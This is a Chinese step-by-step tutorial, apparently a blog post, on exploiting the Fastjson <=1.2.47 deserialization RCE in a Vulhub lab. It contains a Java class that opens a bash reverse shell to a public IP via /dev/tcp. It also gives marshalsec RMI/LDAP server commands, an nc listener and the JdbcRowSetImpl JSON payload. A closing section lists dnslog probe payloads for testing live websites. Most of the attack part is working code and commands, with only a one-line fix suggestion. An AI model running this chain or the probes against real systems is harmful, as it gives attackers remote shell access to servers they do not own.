Fastjson<=1.2.47-RCE反序列化漏洞(CNVD‐2019‐22238)保姆级教程

目录

一.漏洞描述

1.漏洞原理

2.影响版本

二.环境搭建

1.环境下载

2.环境启动

三.漏洞复现

步骤一.编写恶意类文件Exploit.Java

步骤二.开启http服务

步骤三.开启RMI

步骤四.开启nc监听反弹

步骤五.抓包,发送payload

1.浏览器设置代理,开启bp抓包 .

2.发送到重发器,并修改GET-->POST

3.修改字段值:Content-Type: application/json

4.添加payload,记得修改自己的ip,这里的端口是RMI的端口.

四.修复建议

推荐工具

实战挖洞


一.漏洞描述

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列 化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其 次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件 开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流 程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也 就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本 中,利用其缓存机制可实现对未开启autotype功能的绕过。

1.漏洞原理

相比1.2.24,1.2.47过滤了许多恶意类的上传姿势以及关闭了 autoType ,但可以利用fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。

简述: 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过

2.影响版本

Fastjson <= 1.2.47

二.环境搭建

1.环境下载

Vulhub官网:https://vulhub.org/

2.环境启动

在Centos7里面启动环境:

切换目录到Fastjson/1.2.47

docker-compose up -d      #启动环境

docker ps     #查看已经启动的环境

ip a       #查看ip

在浏览器访问 ip:端口(8090)

出现如上界面则表示环境启动成功!

三.漏洞复现

步骤一.编写恶意类文件Exploit.Java

1.我们在云服务器里面先编写以下的恶意文件Exploit.java,然后将其解析成Exploit.class文件.

vim Exploit.java       #创建并编写类

进入之后按 " i "键 进行编辑.bash命令为: (你的ip152.136.102.131)的5555端口

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
  try {
              Runtime rt = Runtime.getRuntime();
              String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/152.136.102.131/5555 0>&1"};
                      Process pc = rt.exec(commands);
                      pc.waitFor();
                } catch (Exception e) {
          }
    }
}

然后按 "esc"   ->   " : "   ->   " wq "               #进行保存并退出.

使用javac进行编译:

javac Exploit.java      #编译

如果你的环境没有javac,请参考CentOS 7 安装和配置java环境_Jietewang的博客-CSDN博客

步骤二.开启http服务

在exploit.class所在目录启动http服务

python3 -m http.server     #起一个HTTP服务

这里我们的http服务默认为8000端口,我们也可以直接在 http.server后加上空格+端口号,进行指定端口.

浏览器验证,是否能够从web服务中访问到Exploit.class文件(必须要保证从web服务中能够访问到)

步骤三.开启RMI

1. 接下来使用marshalsec项目,启动RMI服务,监听8888端口并加载远程类Exploit.class:

项目下载地址:marshalsec-0.0.3: marshalsec-0.0.3-SNAPSHOT.jar

 

再起一个命令窗口点击宝塔后面的"+".

然后将下载的jar包复制到刚刚启动服务的文件夹下面

此处拓展::(LDAP服务启动)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://152.136.102.131:8000/#Exploit" 1389

RMI服务启动    --这里开启RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://152.136.102.131:8000/#Exploit" 8888

PS:以上两种服务选择启动那个服务都行。这里开启RMI服务,注意要更改IP中的内容为你的web服务。

步骤四.开启nc监听反弹

再起一个命令窗口,点击宝塔后面的"+"

攻击机新开终端,监听之前Exploit.java里面写的反弹shell的端口5555

nc   -lvnp   5555      #开启nc监听

步骤五.抓包,发送payload

1.浏览器设置代理,开启bp抓包 .

2.发送到重发器,并修改GET-->POST

 

3.修改字段值:Content-Type: application/json

4.添加payload,记得修改自己的ip,这里的端口是RMI的端口.

{
        "a":{
                "@type":"java.lang.Class",
                "val":"com.sun.rowset.JdbcRowSetImpl"
},
        "b":{
                "@type":"com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName":"rmi://152.136.102.131:8888/Exploit",
                "autoCommit":true
        }
}

点击发送之后,在你的公网IP上面查看是否反弹成功.

 

成功接收到请求和反弹的shell.

四.修复建议

升级版本

推荐工具

BurpFastJsonScan-1.0.8.jar

fastjson_tool.jar

实战挖洞

给你一个网站判断它是否使用了fastjson

1.取消请求包中的json的闭合,根据报错判断是否使用了fastjson

2.更多登录口 , 传递的数据是json格式 , 加上网站是java编写的 测试fastjson 利用dnslog盲打

1. 利用java.net.Inet[4|6]Address

        {"@type":"java.net.Inet4Address","val":"dnslog"}

        {"@type":"java.net.Inet6Address","val":"dnslog"}

2. 利用java.net.InetSocketAddress

        {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

3. 利用java.net.URL

        {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

4. 其他变形

        {"@type":"com.alibaba.fastjson.JSONObject",

        {"@type":"java.net.URL","val":"http://dnslog”}}""}

        Set[{"@type":"java.net.URL","val":"http://dnslog"}]

        Set[{"@type":"java.net.URL","val":"http://dnslog"}

        {{"@type":"java.net.URL","val":"http://dnslog"}:0

1.2.67版本前

        {"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}

1.2.67版本后payload

        {"@type":"java.net.Inet4Address","val":"dnslog"}

        {"@type":"java.net.Inet6Address","val":"dnslog"}

{

        "a":{

                "@type":"java.lang.Class",

                "val":"com.sun.rowset.JdbcRowSetImpl"

},

        "b":{

                "@type":"com.sun.rowset.JdbcRowSetImpl",

                "dataSourceName":"rmi://qobdfn.dnslog.cn/exp",

                "autoCommit":true

        }

}

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值